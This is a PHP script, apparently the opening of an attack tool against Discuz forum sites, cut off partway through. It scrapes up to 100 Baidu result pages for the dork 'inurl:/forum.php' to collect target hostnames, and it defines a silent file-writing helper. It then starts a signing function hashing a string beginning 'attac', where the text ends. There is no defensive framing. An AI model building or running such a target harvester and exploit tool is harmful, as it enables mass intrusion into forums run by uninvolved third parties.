error_reporting(E_ERROR);
set_time_limit(0);
$keyword = 'inurl:/forum.php';//百度搜索关键字
$timeout = 10; //读取网页超时(秒)
$stratpage = 1; //读取百度起始页
$lastpage = 100; //读取百度尾页
function ReadBaiduList($keyword,$timeout,$nowpage) //返回该页DZ网址列表Array
{
$tmp = array();
$data = '';
$nowpage = ($nowpage-1)*10;
$fp = @fsockopen('www.baidu.com',80,$errno,$errstr,$timeout);
@fputs($fp,"GET /s?wd=".urlencode($keyword)."&pn=".$nowpage." HTTP/1.1\r\nHost:www.baidu.com\r\nConnection: Close\r\n\r\n");
while ($fp && !feof($fp))
$data .= fread($fp, 1024);
@fclose($fp);
preg_match_all("/\}\)\" href\=\"http\:\/\/([^~]*?)\" target\=\"\_blank\"/i",$data,$tmp);
$num = count($tmp[1]);
$array = array();
for($i = 0;$i < $num;$i++)
{
$row = explode('/',$tmp[1][$i]);
$array[] = str_replace('http://','',$row[0]);
}
return $array;
}
function fw($filename,$filecode,$filemode)
{
$handle = @fopen($filename,$filemode);
$key = @fputs($handle,$filecode);
@fclose($handle);
return $key;
}
function sign($exp_str)
{
return md5("attac